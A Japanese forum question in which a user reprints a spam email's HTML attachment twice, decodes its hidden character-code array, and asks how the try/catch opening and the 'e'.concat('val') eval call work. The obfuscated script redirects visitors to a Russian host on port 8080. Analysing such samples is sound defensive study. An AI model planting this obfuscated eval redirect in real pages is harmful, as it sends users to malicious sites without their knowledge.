今朝、スパムを受け取りました。添付ファイルが .html ファイルであることに気付きました。ゴミ箱に捨てる代わりに、学習の機会としてデスクトップにコピーし、名前を .txt に変更してメモ帳にロードしました。
以下は、スパムの添付ファイルに表示される html と難読化されたスクリプトです。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Please wait</title>
</head>
<body>
<h1><b>Please wait. You will be forwarded.. . </h1></b>
<h4>Internet Explorer / Mozilla Firefox compatible only</h4><br>
<script>asgq= [0x76,0x61,0x72,0x31,0x3d,0x34,0x39,0x3b,0xa,0x76,0x61,0x72,0x32,0x3d,0x76,0x61,0x72,0x31,0x3b,0xa,0x69,0x66,0x28,0x76,0x61,0x72,0x31,0x3d,0x3d,0x76,0x61,0x72,0x32,0x29,0x20,0x7b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x67,0x69,0x6c,0x69,0x61,0x6f,0x6e,0x73,0x6f,0x2e,0x72,0x75,0x3a,0x38,0x30,0x38,0x30,0x2f,0x66,0x6f,0x72,0x75,0x6d,0x2f,0x6c,0x69,0x6e,0x6b,0x73,0x2f,0x63,0x6f,0x6c,0x75,0x6d,0x6e,0x2e,0x70,0x68,0x70,0x22,0x3b,0x7d];try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=56;if(dbshre){vfvwe=0; try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window["e".concat("val")];}
s="";for(i=0;i-105!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}
z=s;e(s);}}</script>
</body>
</html>
私が最初にしたことは、もう少し読みやすいように並べることでした。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Please wait</title>
</head>
<body>
<h1><b>Please wait. You will be forwarded.. . </h1></b>
<h4>Internet Explorer / Mozilla Firefox compatible only</h4><br>
<script>
asgq=[0x76,0x61,0x72,0x31,0x3d,0x34,0x39,0x3b,0xa,0x76,0x61,0x72,0x32,0x3d,0x76,0x61,0x72,0x31,0x3b,0xa,0x69,0x66,0x28,0x76,0x61,0x72,0x31,0x3d,0x3d,0x76,0x61,0x72,0x32,0x29,0x20,0x7b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x67,0x69,0x6c,0x69,0x61,0x6f,0x6e,0x73,0x6f,0x2e,0x72,0x75,0x3a,0x38,0x30,0x38,0x30,0x2f,0x66,0x6f,0x72,0x75,0x6d,0x2f,0x6c,0x69,0x6e,0x6b,0x73,0x2f,0x63,0x6f,0x6c,0x75,0x6d,0x6e,0x2e,0x70,0x68,0x70,0x22,0x3b,0x7d];
try{document.body&=0.1}
catch(gdsgsdg)
{
zz=3;
dbshre=56;
if(dbshre){
vfvwe=0;
try{}
catch(agdsg)
{vfvwe=1;}
if(!vfvwe){
e=window["e".concat("val")];
s="";
for(i=0;i-105!=0;i++){
if(window.document)
s+=String.fromCharCode(asgq[i]);
}
z=s;
e(s);
}
}
</script>
</body>
</html>
この時点で、スクリプトの作成者が asgq 配列内のグッズを文字コードとして隠していることは明らかです。0x76 = "v"、0x61 = "a"、0x72 = "r" など...うーん、最初の 3 つの要素は既に "var" と綴られています!
asgq.length = 105. for ループで、作者が使用した終了条件は "i-105!=0" で、これは i < asgq.length と言うのが紛らわしい方法です。「zz=3;」スクリプトの残りの部分には何もしないか、関与していないように見えます。また、最初の catch ステートメントの後に一致しない "{" があります。
for ループを実行し、配列をアラート ボックスにアンパックしました。これが私が得たものです:
" var1=49; var2=var1; if(var1==var2) {document.location="http://giliaonso.ru:8080/forum/links/column.php";} "
そのため、著者は char コードで 49=49 を作成するという問題を抱えており、49=49 の場合、window.location = ロシアのサイトになります。
私の質問:
著者は try cache ステートメントを使用しています。最初の試行条件は (document.body&=0.1) です。これは失敗してステートメントのキャッシュ部分に移動するように設計されていますか、それともビットごとの操作ですか? ビット単位の場合、「= 0.1」はなぜですか?
最初のキャッシュは「agdsg」を渡しています。「e」が渡された cache(e) を見たことがあります。e 以外の値を渡すとどうなりますか?
「e=window["e".concat("val")];」という行は正確には何ですか? してる?作者が後で呼び出す関数宣言として機能しているようです:「e(s);」「s」はアンパックされた配列です。
任意の支援をいただければ幸いです。